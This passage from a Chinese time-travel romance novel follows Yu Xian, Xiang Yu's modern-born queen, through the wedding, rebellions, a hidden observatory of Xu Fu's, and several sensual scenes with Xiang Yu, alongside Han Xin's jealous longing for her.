十几个人抬着巨大的木头,撞击着亭中的大钟,浑厚的声音传遍了整个咸阳城,悠扬厚重。 诸侯们皆立于两旁,目光低垂,当倩影走过之时,周围盈满了馨香,耳中听到了玉珏清脆的声响。 项羽立于大殿之上,看着穿着礼服的美人朝着他一步一步的走来。 有风吹来,将远处刚开的桃花花瓣卷来,漫天的花瓣翩飞。 与花瓣一起的,是楚人的歌声。 虞苋仰头看着立于高台之上的男人,他亦是穿着玄衣,与平日的冷峻不同,嘴上含着一抹笑,似乎很是高兴。 她才走到了一半,项羽不顾礼官的阻挠,已经步履从容的往下走,然后牵她到了最高处。 殿下的百官们跪了一地,离得越远身影越小,越像是一只蚂蚁。 礼官端着托盘而来,项羽拿起上面的头冠,在天下诸侯面前,给女郎戴上了属于身份的头冠。 “桃之夭夭,灼灼其华。之子于归,宜其室家。” “以后你就是我的王后了。” 虞苋咬唇问道:“只有我一个人?” 项羽:“只有你一个人。” 她小声道:“就算我要是死在你前头,你也不娶别人?” 项羽牵着她的手,有点被她气到了:“这是我们大喜的日子,别说晦气的话。” 虞苋直勾勾地看着他,一句话都不说。 项羽:“……只有你。” 虞苋心里舒坦了,于是牵住了男人的手:“你以后就是我的丈夫了,我也会只有你,不会有旁人的。” 之后,又经过了不少的步骤,随着礼官的一句“礼成”,虞苋终于呼出了一口气。 然而还没有完。 项羽拉着虞苋一起坐于高台,礼官拿起一个长长的卷轴,开始念: “暴秦已灭,诸位都是有功之臣,今趁吉日分封天下……刘邦封为汉王,据汉中;章邯封为雍王,都废丘;英布封为九江王……” 许负原本便在观礼,听到项王分封天下,心中叹息了一口气。 秦国好不容易才统一,项王此举,莫不是又将天下四分五裂? 她抬头看向了坐于高台的王后,却见她面上平静,对于此事并无意外。 莫非是自己高估了她。 虞苋的确不意外,项羽在政事之上,并没有对她隐瞒,她一早就知道了对方的打算。 在历史的角度来说,分封天下的确是历史的倒退,项王分封不久,天下就出现了叛乱,可是汉初也出现过叛乱,可见这是必要走一遭的。 不过她提出了一个小小变动,让诸侯们留在咸阳为官。 人心的欲望是无限大的,众人心中亦是清楚,无论诸侯们前往封地,还是留在咸阳,都有发生叛乱风险,将人放在自己眼皮底下,总比让他们出去乱窜要好。 众人商议之后,范增、桓楚、韩信等人都答应了。 项羽看着跪着的诸侯们,冷冷地说道:“这几百年来,各国之间相互战争,死了多少人,秦之暴政固然令人厌恶,却有一事,众人都能看到好处,那便是天下一统的十几年间的,因为战争死的人的确少了。” “当初我们起义,便是为了天下的黎民百姓,而如今的百姓们需要的是休养生息。” “你们若是选择留在咸阳,封地上的税收,依旧是你们的,由你们来支配。” “如何?” 诸侯心里清楚,项王能在此时提出来,定然是项王和范增、英布等人商讨的结果,倘若是自己不愿留在咸阳,回去定会被清算,不管心里怎么想,都只能先留下来了,之后再看情况。 见众人面面相觑,虞苋提醒道:“诸位别忘记了,在北边,匈奴还对着我们虎视眈眈,想要蚕食中原的土地。” 闻言,他们心中一惊。 匈奴的确是中原的心腹大患,谁知道他们什么时候会打过来呢? 于是他们不再犹豫: “大王英明。” “大王英明。” “……” 这一日结束,诸侯散去,时间已经是黄昏过后。 残阳挂在天边,虞苋脱了繁重的礼服,站在阁楼上看鸿雁飞过。 项羽走到她身边:“看什么呢?” 虞苋摇头:“没什么。” 她想。 若这是一本以项羽为主角的书,接下来天下没有发生叛乱,此时就是这本书最完美的结局。 可惜了。 今日刘邦称病没来。 第68章 第68章“在阿房宫底下,还有一…… 然而。 叛乱之事果然发生了。 或许众人都知道粮食的重要性,因此叛乱发生在春耕之后。 率先发生叛变的是齐王田荣,他逃出咸阳,前往地方割据。 而刘邦则前往了蜀中,此时绝大多的部队都在咸阳,因此他很快就占据了汉中。 这两件事就像是一滴水滴入了平静的水面上,激起了一圈圈波澜。 项羽决定亲自率军平叛,以震慑其他蠢蠢欲动的宵小。 虞苋这次没有跟项羽一起出征,而是留在了咸阳稳定朝中局势,并开始广招方士。 还好她之前的付出是有用的,阻止项羽对降卒和百姓进行屠杀的作用慢慢的显露,天下的诸子百家看到了虞苋表现出来的仁慈,于是纷纷来到咸阳追随于她。 一县之才,可以治国。 更何况是天下的才子聚拢在咸阳,此时的墨家、法家、阴阳家、农家、儒家、纵横家……诸子百家都希望能够在这位仁慈的王后手下能够重用。 这些士人没有许负观测星象的能耐,却有信息获取和分析的能力,就像当初嬴政帝崩到陈胜吴广起义,他们便已经看清楚了秦王朝的没落,便簇拥各方诸侯随着陈胜吴广起义。 如今也是一样的。 国与国的战争,死了太多的人,即便秦王朝统一六国之后的压迫是如此的令人难捱,可百姓们其实也尝到了统一的甜头。 国家终将统一的,是大势所趋,不为个人的意志转移。 而恰好此时,项王的战力第一,身边又有仁慈的王后,叛乱只是一时的,因此最好的选择是前来咸阳。 许负因为被虞苋留了下来, 亦见到了人才流入咸阳。 她到了阿房宫求见了虞夫人,不,应该叫是虞后了。 对方很快接见了她。 许负发现坐在高台上的虞后,即便如今已经占据在权力的顶峰,依旧如初见时的一样,让她见之便感觉到一阵心悸。 她朝着高台跪拜。 “起来吧。” 虞苋听闻许负想要见她,便放下了手中的事情,接见了她。 她好奇询问:“你请求见我,是有什么发现吗?” 许负道:“是的。” “哦?”女郎道,“有什么发现?” 许负回道:“我是来跟王后献策的。” 她见虞苋不语,便继续开口:“欲望使战争发生,因此叛乱在逐渐蔓延,镇压叛军只是让其中一方从武力上臣服,可新的叛乱仍会出现。” “说点有用的。” 许负开口:“如今你的手上不缺人才,为何不将人散出去,将项王的治国理念传递出去,让更多人知道项王才是一个仁爱的君王?” 利用舆论。 此法正和她的想法不谋而合。 虞苋说道:“你曾信誓旦旦的说,汉王才是天命所归,不过才两月,你怎么突然改变了想法,反而前来为我出谋划策?” 许负道:“天下经历了数百年的战火,百姓需要的是一个仁爱的君王,让他们休养生息。” “而且。” “如今我也只能追随王后了。” 虞苋叹息道:“对于今日你前来见我,其实我更希望你能搞清楚,藏书中记载的穿越是怎么一回事儿。” 许负不解地抬头。 虞苋清了清嗓子:“不过,你能愿意助我,我是很高兴的。” 项羽在楚汉争霸中的失败,不是他不会带兵打仗,亦不是战力上的失败,而是人才的流失。 历史上,项伯站在了汉王的一边,韩信走了,英布也走了…… 对于许负的策略,虞苋召集手下商议过后,觉得还不错,便传信给了项羽,项羽回信同意之后,她便让韩信选派人手散播出去。 就像是春天时播种一样,总会有收获的时候。 在这些事情的间隙,四月十五时,虞苋抽空重新去了一趟她穿越来的地方。 这一次没有再遇见罕见的龙吸水,长江的江面依旧很宽,望不到尽头。 日光照射下,水面波光粼粼。 于是她乘船去到了江中,残阳时分,只看见了水草中飞出的野鸭,站在船上,她唯一能感觉到的便是半江瑟瑟半江红。 她的内心再一次真切的感觉到,自己要永远的留在这个时代了。 虞苋只好继续搞建设,将自己会的、实用的东西,都找相应的匠人将东西弄出来,比如之前她忽略的石磨等;顺便让人去寻找种子,例如在交趾一带的双季稻,比如在印度的棉花,制糖的甘蔗等等…… 项羽迅速的打败了齐王,不仅镇住了蠢蠢欲动的诸侯,还为叔父项梁报了仇—— 当年楚军追击秦军时,齐国拒绝增援,如此白眼狼的行径害死了项梁。 而田荣本是跑了的,不过在逃亡途中被百姓给乱棍打死了,依旧如历史上的结局。 在汉中的刘邦知道项羽轻易打败了齐王之后,心中骇然,立即召集手下的谋士商议对策。 打败齐国之后,项羽没有立即去讨伐刘邦,准备回咸阳修整之后再做打算。 与此同时。 虞苋准备休息时,不小心碰到了床边的凸起,她有瞬间的迷惑,手已经往下按了。 凸起是一个机关。 寝殿的地板上突兀的打开一个口,出现了一个通往地底,用白玉铺层的石梯。 由于她睡觉不习惯有人伺候,因此寝殿里面就只有虞苋一人。 烛台上点了很多的蜡烛,火芯在跳动,她蹲在黑黢的洞口处,思考了一下,又将回到床边按了一下机关,将暗门给关上了。 暗门融入寝室的地板,完美得看不出异样。 “下面会不会是通往秦始皇陵地道?” 她倒是好奇着,却不敢一个人贸然下去,万一下去之后,门关上,自己出不来了怎么办? 没穿越前,那些盗墓的电视剧都是这样演的,她不得不防。 当晚虞苋就睡不着了,老是想着里面究竟有什么,导致第二天醒来时精神不振。 不过到了翌日,她便不着急探寻了,准备等项羽回来之后再说。 于是便等了好几天。 项羽日夜奔波的赶回了咸阳,比信中的时间快了两日,回来之后便立即前往汤池洗去一身的尘土,回到寝殿去寻人。 虞苋没抬头,拿着毛笔在竹简上的写字。 “在做什么?” “看秦国的税收结构。” “看税收做什么?” 虞苋瞬间抬头,眨了眨眼睛,看着突然出现的健壮身影,思考自己是不是害了相思病产生的幻觉。 “傻了?” “你才傻了。” 好的,不是幻觉。 狗男人冷哼一声,对她的话很不高兴。 她嘴唇一弯,丢下手中笔,起身蹦到项羽的身边,双手软乎乎环住对方的腰,手指在他身上抠:“大王,你信中不是说要过两日才回来,怎么提前回来了?” 项羽冷淡道:“当然是回来处理公务。” “哦。” “难不成还是因为太想你吗?”他神色更加的冷,“可能吗?” “我没这样说。” 项羽看着女郎脸上讨巧,离开的这段时间一点看不出对他的思念,心里简直呕血。 小没良心的。 狗男人的脸色更冷了。 “说说吧。”他故作一脸严肃的道,“你看这些税收作甚?” 虞苋说道:“汉王离开咸阳之后,拿走了秦王宫里藏有的户籍,近年的税收记载也拿走了一部分,不过还好没有全部拿完,这样我就能从秦国的税收结构,看看各类粮食的种植比例。” 项羽打仗在行,看得都是兵书,若是说其他方面,倒是稍微逊色。 他低头看着虞苋,脸上疑惑:“然后呢?” “这你就不懂了吧。”女郎抿嘴一笑,“从税收结构,数量,能分析出很多东西呢。” 她拉着项羽到了案几前,指着竹简上的文字道:“每年收上来的粮食,豆菽占四成,栗米占三成,小麦占两成,其余的都是杂粮。” “上面记载,豆子亩产两百八市斤,粟米亩产一百三市斤,而小麦亦是亩产三百六市斤。” 虞苋扭头看他:“种植豆子产量是逐年减少的,需要间种,粟米的产量比大豆和小麦都少,只有小麦的产量耐寒耐寒,产量还高。” 项羽懂了:“你想鼓励百姓种植小麦,从而达到实现粮食增产的目的。” “没错。” 项羽说道:“你知道为什么农人很少种植小麦吗?麦饭很难吃,会噎喉咙,如果不是家里揭不开锅,百姓也都不爱吃。” “用磨盘磨碎。” 说完,她想到此时石磨还没有在底层的百姓普及,接着道:“不过普通百姓家中怕是没有,或许可以在每个县人口密集的村子安装磨盘,给百姓免费使用……” 项羽捏捏她的后颈,笑道:“当初你见我的时候,还说自己什么都不会,现在看来你当时在藏拙啊。” “那倒没有。”她谦虚地笑了一下,“就是站在大王身边,占着王后的身份,总觉得应该做些什么。” 毕竟身份不同了,当初刚穿来的时候,她定然会害怕自己被人抓起来,对她严刑拷打让她招供自己会的东西;现在不一样,除了项羽,已经没有人能在她面前的指指点点,因此没有必要将自己知道的东西藏着掖着。 至于项伯…… 他因为跟张良告密之事被项羽知道了,项羽念及他是长辈而没有处罚他,却也逐渐被边缘化了,他在她面前可耍不了长辈的威风。 项羽说道:“你知道以你的身份,现在要做的事情是什么吗?” “是什么?” 项羽意味深长的看她。 虞苋的脸一红,清了清嗓子:“对了,刚才差点忘记了,我还有事情没有告诉你。” 项羽颔首:“什么事?” “前几日,我发现了寝室里有暗门,好像在阿房宫底下,还有一座地宫。” 说话间,她起身走到床边,在项羽的目光下,将机关打开。 第69章 第69章“七月十七,丹阳?”…… 地板裂开了一条缝,出现了一个往地下延伸的楼梯。 虞苋拿了一盏灯蹲在旁边,仰头看着项羽乖巧道:“里面不知道有什么,我就没有擅自进去探寻,等大王回来拿主意。” 项羽颔首:“你在外面守着,我进去看看。” 她点头:“好的。” 说完将手上的烛台递给了他,提醒道:“若是火熄灭了,你一定要立即出来,不然会死人的。” “若是藏室,里面会有通风口的,放心吧。” 项羽便拿着烛台走了下去。 虞苋便在外面守着,烛火在跳跃,她的心情有些焦躁,担心对方在里面会出现危险。 外面突然下起了雨,伴随着电闪雷鸣。 大约是蜡烛燃到底了,她有些不放心,正准备下去,便听到了动静。 项羽从黑暗中走出来,暖色的烛光打在他的脸上,带着一抹沉郁。 虞苋眼睛一亮,迎了上去:“你终于出来了。” 项羽将烛台放在一旁:“怎么不问问下面有什么?” 话刚落,她马上开口:“那下面有什么?” 这几天她的确很好奇死了。 毕竟阿房宫藏宝无数,宫殿里的宝物都已经让人眼花缭乱,还有什么是需要藏在地下见不得光? 项羽说道:“和我下去,你就知道了。” “那敢情好。” 项羽将烛台上的蜡烛换掉,便牵着她的手往下走。 往下走了近百阶梯才到底,紧接着是一道长长的甬道,走了数百米,拐弯后见到了亮光。 “地底下怎么会有光?” “过去你就知道了。” 虞苋继续跟在项羽的身边,走到了光源处,发现是头顶上照下来的。 天在下雨,仰头看天之时,顶上没有漏水,似乎是上面镶了透明水晶,雨水被挡在了外面。 此时一道闪电划过天穹,紧接着是震耳欲聋的雷声。 头顶微弱的光照亮了下面的散发着蓝光的水池,正在幽幽的流动,水池中央立着一个日冕,周围的花纹与天上的星象位置对应。 除此之外,墙壁上用鲜艳的颜料画了壁画,是君王和臣子,并且在上面用小篆写了字。 这里看上去格外的诡异。 虞苋询问:“这里会不会与嬴政的陵墓有关?” 项羽拿着烛火照在墙壁上,看着上面的文字:“这里是观星台。” “观星台?”女郎一脸懵,“建在地下的观星台?” 太奇怪了吧。 她又问:“上面的文字写了什么?” “奇奇怪怪的话。” “嗯?” 项羽说:“上面是秦王嬴政和徐福的对话。” 对着虞苋不解的目光,他看着墙壁上的文字道:“嬴政询问徐福怎样才能获得长生,徐福说有两种办法,一种就是服用长生药延长寿命,另一种……” “另一种是什么?”女郎迫不及待地问。 “徐福告诉嬴政,时间就像是河流一样潺潺流动,无休无止。” “水在流动的过程中被吸附到了天上,又从天上变成雨落下,重新汇聚成河流,如此反复。” “而时间也是如此循环回来,即便嬴政什么都不做,在一次一次的循环中醒来,便得到了永生。” 虞苋闻言惊讶:“我听过这个说法,除了常见的日月年外,往上还有更高的时间的计量单位,十九年为章,四章为蔀,二十蔀为一纪,三纪年为一元……走完一轮,世间就会重新开始,进行新的轮回。” 项羽睨了她一眼:“你觉得可信吗?” 她感觉到狗男人的不悦,赶紧腼腆一笑:“当然不信,即便一切重新开始,难道还会出现同样的人和事吗?” 时间又不是电影的进度条,播放完了之后就会自动重播,所有的事情都会重蹈覆辙。 虞苋又问:“那嬴政相信了徐福的话了吗?” “没有。”他轻蔑一笑,“不然他不会再去求什么长生药了。” “那倒是。” 项羽看着壁画,心念一动,上前抚摸,手触碰到了一个凹槽,轻轻一按,墙壁打开了一个暗门,只见里面放满了丝帛做成的卷轴。 他抽出一卷卷轴翻开,脸上依旧冷静:“是星象图而已。” 虞苋踮起脚瞟了一眼,很复杂的图案,还没有文字,她完全看不懂。 她看了一下其他的壁画,见周围的墙壁是环形的,不由道:“这里会不会藏有其他的暗门。” 项羽颔首:“应该吧。” 他沿着壁画摸索,虞苋亦步亦趋的跟在项羽身边,看着对方将壁画上的暗门一个一个的找了出来,里面除了卷轴,还有像地球仪一样的模具,水银做成的明亮的镜子,以及各种眼花缭乱的东西。 太不可思议了。 头顶上的水晶罩只让她震惊秦王宫的奢侈,毕竟后世就有出土过战国水晶杯。 可地球仪、水银镜…… 难道徐福和她一样穿越过来的? 虞苋的目光再次看向暗门的卷轴,想到上面的星象,或许里面的内容能助她回家。 她敛目。 好像之前在女郎眼前的迷障,突然就被破开了,总归是有了一个方向。 可心里的感受很奇怪,并不雀跃,还有些涩意,让她忍不住伸手去扶住项羽的腰带。 项羽低头:“你怎么了?”顺势将她揽进了怀中。 虞苋感觉到了对方身体的滚烫,心中稍安,指了指上面转移话题:“大王,上面是什么地方,为何无人从上面发现这里?” 项羽说:“上去看看就知道了。” 外面还在下雨,项羽将壁画上的暗门关上之后,便带着虞苋往回走。 回到寝殿,虞苋感觉有点倦了,立即瘫在了榻上,叹了一口气:“还好里面没有什么危险的机关。” 只是脑海中却一直闪现着蓝色的水池、鲜艳的壁画、巨大的水晶罩…… 啧啧,太诡异了。 项羽走到虞苋身边,双手抱胸,居高临下的俯视她,窗户外一道闪电划过,白光印在男人冷峻的脸上,看上去还挺唬人的。 虞苋赶紧爬起来,跪坐在床边,双手环住了狗男人的腰,仰头与他对视,眼神中带着点讨好:“你表情很凶,怎么了吗?” 他手握住女郎的脖子,从领口往下,握住了她的柔软的肩膀,细腻的肌肤比羊脂玉还要光滑。 项羽低头,女人咬着嘴唇,没有出声,眼神已经有些迷离了。 “粗俗。”她说。 怎么还想着这件事呢? 不过好像真的跑不掉了,刚见面的时候他就有这个意向,他去平息叛乱这么久没见,身体确实容易憋坏。 好吧好吧。 项羽没有松手,环着她的细腰,将她凌空抱起,虞苋始料不及,腿夹紧狗男人的腰,双手赶紧攀住他的肩膀。 他抱着她走到了烛台,将烛火全部吹灭,房间里瞬间变得昏暗。 外面还在下雨打雷。 夏天就是这样的,不仅雨下的大,风吹得很大,雷声也很大。 此时还是申时,还没有到晚上。 项羽抬头瞥了她一眼,喉结快速的滚动,十分的性 感,让人欢喜得不行。 虞苋有些意动。 将刚才在地宫看见的东西抛到了脑后,男人英俊的面容就好像迷药,简直要将她的魂都勾走。 她很矜持的没有开口,手臂却搂得更紧,感觉心要化开了。 唔。 想咬人。 项羽面上还是淡定的样子,完全看不出这狗男人是主动撩拨的,反而像是在满足于她似的。 混蛋啊。 虞苋扭了扭身子,正想让自己姿势舒服些。 “别动。” “嗯?” 项羽衣冠楚楚,含住了她的嘴唇。 虞苋感觉到一阵凉意,感觉到他在温柔的亲吻,从上往下的蚕食。 狗男人的手也不老实,隔着衣裳揉着她的小腰,将衣裳都揉得凌乱了。 女郎被亲得张口微喘,心砰砰的跳,好像即便是很多次很多次了,可是和项羽在一起的时候,心里好像吃了蜜一样甜。 她去扯男人的腰带,总不能只有自己衣衫凌乱,在她手指胡乱的撕扯下,男人的外衣被扯掉,闪电划过,正好看见了对方的肌肉,薄薄的覆盖在身上,极具观赏性。 对方闷笑:“看够了吗?” 虞苋脸一红,感觉到有些危险。 狗男人捏住她的下巴,似乎还亲不够,继续低头索吻,在她的口中肆无忌惮,只能无力的攀附对方的肩膀,感受着对方滚烫的体温,浑身的毛孔都愉悦得打开。 无论是碰到手,碰到脸,还是她的细腰,她都忍不住脸红。 狗男人突然问:“你最近不是在研究星象?” 虞苋没想到他突然问这个,鸦黑的睫毛微颤:“怎么了?” 项羽的手往下:“知道咸池星代表什么吗?” 她浑身一颤。 狗男人将她抱回了床上,高大的身躯倾身而下,外面的闪电划破天穹之时,可以看见他冷静面容下的疯狂。 他俯身下去,再次含住了女郎的唇瓣。 虞苋感觉项羽对着她的唇瓣又舔又吸,极力的索取,明明才离开了一两个月,似乎离开了很久一样,真是要被吃得透透的了。 不知道是不是太热了,她感觉好像外面有一团火在舔砥自己的肌肤,周围开始缺氧,挤压着她的生存空间。 哎呀。 项羽回来之时就已经想这样做了,偏偏她要带自己去地宫查看下面有什么东西,好在如今她没有了其他借口,他可不是委屈了自己的主,自然要索取够本。 见她的手软乎乎环着自己,浑身柔软顺从,不由伸手给女郎整理了额头上的细汗。 外面的雨一直都没有停,天色慢慢黑了下来,一点光线都不剩。 女郎低吟的声音就像是毒药,让人不由沉醉在温柔乡之中。 寝殿外。 侍卫拦住了韩信:“大王吩咐了,今日谁都不见。” 韩信道:“我求见的是王后。” 侍卫冷冷道:“王后今日亦谁也不见。” 大雨倾盆而下,滴滴答答的打在地上,韩信似听到了里面的动静,声音很小,微弱到似乎是他的幻觉。 他感觉到浑身寒冷,突然发现自己跟狗一样为她驱使,依旧只能远远的看着,从来不能入了她的眼。 而另一个男人,却能真切的拥有。 韩信转身走进了雨中,雨淋在他的身上,浑身湿透,雨水又从他的衣裳滴在了地上。 天上乌云密布,他抬头感觉到雨水带走身上的体温,突然想:为什么自己不能拥有她呢? 这一晚格外的漫长,项羽就像是食髓知味,一边一边的将虞苋给拆吞入腹。 女郎最后声音都哑了,身上全是被他吸出的红痕,不仅是脖子、肩膀,大腿内侧都全是痕迹,而身体过于兴奋,导致的后果是虞苋双腿酸痛,清理身体之后沉沉的睡了一天。 而对于韩信来说,这一晚上过得并不好。 他回去之后便寻了酒喝,喝了两坛子酒,喝得人醉得都恍惚了。 雨下得很大,外面电闪雷鸣。 就在这时,一个女郎打开了房门,走了进来。 她有一张美丽的面容,妙曼的身材,身上只穿着轻薄的纱衣,头发和衣摆被风吹起,周身萦绕着一层薄雾。 女郎朝着他走了过来,在他的身边坐下,纤细的手指点在了他的嘴唇:“见到我是不是很意外?” 韩信没有说话,似害怕自己一开口,她就不见了。 对方盈盈一笑,主动环住他的腰,他伸手回握,感觉就像是抱着一团柳絮。 “我早就知道,你看我的第一眼,你就喜欢上我了,对不对?” 没错。 在她说自己非池中鱼之时,心便已经开始狠狠地跳动了。 女郎环着他的脖子,脸轻柔的与他的脸触碰,低头含住了他的嘴唇,嘴唇就像风一样轻柔带着凉意。 韩信闭上了眼睛,甚觉自己的心思如此肮脏。 然而这一场梦还在继续。 对方见他不肯承认自己龌龊的心思,笑着询问:“韩信,你怎么不敢睁开眼睛,不是早就想要这样做了吗?” 是的。 他早就想亲吻她,那微张的唇瓣一定很甜美,也早就想将她压在身下,与她一起缠绵,在床榻上,草地上、水中,或者让她骑在自己的身上,无论是谩骂他、哭泣,亦或者是在他身上撕咬。 无论她做什么都行。 韩信一遍唾弃于自己的龌龊,却又沉浸在这一场美梦中不愿醒来,那两个字在口中转了两圈,最后却还是没有唤出来。 韩信想。 得到她,即便只是她脚下的一条狗,他也甘愿。 可是偏偏不可能,除非他能打败项羽。 打败项羽…… 多难啊。 韩信睁开了眼,房间里什么都没有,周围空荡荡的,一切不过是他的痴心妄想罢了。 外面还在打雷,韩信起身,砸了身边的酒坛,从怀中掏出了萧何给他写来的信。 翌日。 虞苋醒来之后,得知昨日韩信冒着大雨前来觐见,被外面的侍卫挡了回去。 她先是尴尬,恼了一眼正在批改奏折的狗男人,白日宣淫,哼哼,万一被人听到了怎么办? 不过随即反应过来,侍卫把守的位置离寝殿有段距离,即便是当时她放声大叫,对方都不一定能听得到,更何况她只是在低吟。 女郎彻底放心了。 不然多丢脸啊。 见韩信今日没有再来求见,想必对方要禀告的事情并是很重要。 她就将这件事抛到了脑后。 昨日的一场大雨,天地都被洗刷干净了,由于地宫里没有虞苋想象中的宝物,于是便让黎晟前去查探地宫中有亮光的位置是在阿房宫的那个位置。 经过黎晟的查探,发现是在望月阁后面的水池有蹊跷,那水池的水很清,可是从上往下看却是黑不见底,似乎池子的水很深很深。 看守望月阁的宫人说,当初住在这里的人是徐福,池子还有闹鬼的传闻,因此一般没有人在池边乱逛。 黎晟用木棍往水池里戳了戳,所谓的水池,水面高度不到一尺。 虞苋得知后恍然大悟,难怪这么久都没有人从上面发现其中的古怪。 她实在好奇为何藏室有会地球仪和水银镜,于是便让黎晟派人将里面的卷轴搬出来,找人将上面有字的部分用隶书抄录下来。 没办法。 谁让自己只认识隶书呢? 项羽见她又研究这种古怪的东西,面上不动声色, 一到晚上,就开始在床上狠狠收拾她。 虞苋从最开始的主动,到顺从,最后开始都有些害怕了都,她都没求饶,把那狗男人给气得半死。 而在穿越了那么久之后,她之前的直觉没错,在徐福留在的卷轴中,的确提到了穿越之事。 与壁画上徐福跟嬴政说的不一样,卷轴上说过去的是历史,没有发生的是未来,历史和未来就像是波浪一样,是有波动的,甚至有时候会发生交汇、分叉。 时间的波动发生的交汇、分叉,使得历史可以发生改变,未来也会发生改变。 关于穿越的假说。 徐福认为将过去和未来都看做一条无限延伸的线,这条线或许并不是一条直线,它可以弯曲,折叠,或者成“又”字形状有瞬间的交叉。 在这样的波动之下,两个时间线交叠,就会出现空间波动,于是未来的人可能穿越来到现在,现在的人也能穿越去到未来或者过去。 在卷轴上,还详细记载了近百年可能出现时间交叠的时间和地点,需要注意的地方。 “七月十七,丹阳?” 项羽的声音。 虞苋瞬间背皮发麻,僵硬的转身看着对方,声音很低很低,谴责道:“你走路怎么没有声音的?” 他没有看她,拿起她手边的竹简,冷声道:“你是不是该给我一个解释?” 第70章 第70章“烧了烧了。” 解释? 那她解释不了。 虞苋起身搂住男人的劲腰,脑袋蹭了蹭对方的胸膛,手指钻入他的衣襟,放在了项羽的腹肌上,忍不住戳了戳,然后仰头看他:“我就是对这些东西好奇,随便看看的,大王难道会相信徐福的话是真的?” 她说完不等项羽开口,又继续道:“倘若他真有本事,他岂会找借口要去海外寻仙岛,带着童男童女和财宝跑路?” 项羽看着女郎漂亮的脸颊,手握住了她的腰肢,感觉到虞苋放松的靠在自己的怀里。 他丝毫不会怀疑,若是他想要亲吻她,她一定会顺从,然后热情的回应,与他唇齿缠绵;若是手抚摸她的身体,她浑身会因为敏感而浑身颤抖,在他的怀里软成水;倘若他故意冷脸什么都不做,她会主动的贴上来,扭着腰坐在他的身上,直到两人都不可自拔。 而即便虞苋身体上是多么的热烈,可是她嘴唇吐出来的谎言却是令人心慌,他能明显感觉到她并非毫无保留,在她的底色下永远藏着一抹神秘。 这一抹神秘之处,便是项羽心里下意识所恐慌的,让他难以自持的想要探究。 项羽准备拿开她的手,却感觉一股柔软的凉意从小腹往下,顺势将他包裹。 他脖子青筋暴起,忍不住呵斥道:“你在做什么吗?” 虞苋感觉自己的手心烫得出汗,手指动了动,另一只手扯掉了对方的腰带,软乎乎道:“见你似乎不高兴,想要哄哄你。” 项羽轻嗤:“你还知道我不高兴。” “知道的。” 女郎眨了眨眼睛,继续说道:“你刚才紧张的神色,就好像是怕被遗弃的小狗,可怜兮兮的。” 她说:“明明我们都已经成婚了,却好像我还会跑了一样。” 项羽心思被戳穿,脸上的表情更冷。两人明明如此的近,自己却对她总患得患失。 或许是这样膨胀的情感让他难以自持,才会对于女郎的行为多疑。 他从女郎的领口往下,滚烫的掌心虞苋的脊背上流连,随后弯腰提住了她的臀让她挂在自己的身上。 项羽嗤笑:“我可怜?” 两人的距离太近了,虞苋看着男人冷峻的脸,心里砰砰跳,感觉到男人指尖的温度,似乎浑身都着火了,她脸上羞涩,目光盯着对方的薄唇,忍不住咽了咽口水,却仍然感觉到自己有想要吃人的冲动。 这狗男人长得实在太好了,宽肩窄腰,身材比例极为优越,修长的腿站得格外的稳当,极高的武力加上无上的权势,更让他身上的多了一层魅力。 如今回头看,他竟然才二十多岁。 是人都会慕强,况且对方又是长在虞苋的审美点上,两人每次待在一块都在尽情的放纵,沉沦于欲望,与其说是项羽刻意挑逗,不如说是女郎的有意纵容。 她迷恋他的身体。 虞苋心越跳越快,身体越来越软,她低头与男人的脸颊相贴,闷声闷气道:“你不可怜,是我可怜,好了吧?” 她寻找穿越的办法,是为了让自己有一个念想,偏偏她真的找到了徐福留下来的手札,代表了自己要在项羽和回家之间做一个选择。 其实徐福留下的卷轴说明了,就算再次有缘穿越,并不一定会穿越到来之前的那个时代,可她还想要试一试,上面的内容显示,七月十七日到不了丹阳,下一次的机会就要再等五十年。 虞苋等不起。 而此时距离七月十七不足一个月,她已经做好了要离开的决定,只是她没想到项羽的直觉这么准,对于这件事在极力阻止,让她既开心又难过。 他会恨死她的。 虞苋心中是不舍的,以后可能就没机会了,可她真的太馋他的身体了,她只好比以往更要热情,明明每天都有做,可她总是有些矜持,即便是身体再舒服,也只是像小猫一样低吟,此时她却不想再忍了,嗓子哑了也没关系的。 她的眼睛红通通的,低头去吃项羽的嘴巴,先是舔了舔,感觉到软软的,便张嘴去含着,轻咬,激动得颤抖着手攀住他的肩膀,将自己心中无法发泄的情绪,从手掌中按在男人的肌肉上。 唔,好喜欢的…… 感觉怎么亲都亲不够。 虞苋感觉到了男人掌心的温度,她浑身紧绷,感觉到身体热乎乎的血液往身下冲,外面的太阳照在人的身体上,更觉得浑身都要烧起来了。 她最开始主动,只是想打断男人的思绪,不让他询问关于刚才的时间地点是什么意思,却没有想到自己却率先激动了。 女郎从来不是个会掩藏自己的欲望的人,除了最开始的矜持忸怩,大多数的时候她都会顺从自己的本心,让男人缓解自己身上的欲望。 项羽心中的患得患失被虞苋的热情抚平,将案几上的竹简全部扫落,在她舌头灵巧的亲吻下,逐渐忘记了刚才看到的信息,搂着女郎的细腰尽情的亲吻。 他知道自己受不了她的缠人。 项羽一边揉一边亲,将女郎压在了身下紧密贴合。 虞苋的身材玲珑有致,身高只到狗男人的胸膛,又与项羽的体型差异巨大,导致她身体被摸得抽搐时,却被对方压得纹丝不动。 夏天的到来,天气变得很热,黏黏糊糊在一起的两人当然会出汗。 会出很多的汗和水。 由于是大白天的,女郎能够看见男人的额头、脸颊、脖子、臂膀、胸口都在出汗,在肌肉上划出晶莹的水光,汗水性感的往下流,或者汇聚成一大颗滴落,从脖子划到胸口、腹肌,性张力直接拉爆。 看上去就很会做。 虞苋微微颤颤的伸手,想去给他擦汗,狗男人抓住了她的手,一点一点的亲吻她的指尖,含在口中吮吸,暧昧的气息无限的蔓延。 因为心中种种复杂的情绪交织在一起,导致了女郎的身体开始颤抖。 她一点点的挣脱项羽的压制,搂住了男人的脖子,挂在他身上去亲去舔他的喉结,舒服的时候会发出小兽一样的嘶吼,之后便更加的喜欢掌控对方的身体。 项羽也由着她。 只是这女人下嘴不知道轻重,牙齿经常咬破他的皮肤,然后朝他笑一笑,耀武扬威的样子真是让人又想生气又觉得可爱。 他单臂将虞苋的身体固定住,抱着她往柔软的榻上走,让她像是骑马一样坐在自己的身上,揉开她因激动而绷紧的肌肉。 项羽即使身体已经沉溺于其中,不过面色却看不出半分为这个女人沉沦,冷静的看着虞苋被弄得满脸潮红。 “不是说不许我白日宣淫,小虞,你现在是在做什么呢?” “在玩你。” 虞苋的小嘴当然不能让他占据上风,说完又感觉到对方故意弄她,于是轻呼了一声,又柔弱的贴在他的胸膛,声音嗲嗲:“就是在玩你啊。” 项羽:“……” 谁能受得住?他反正不行。 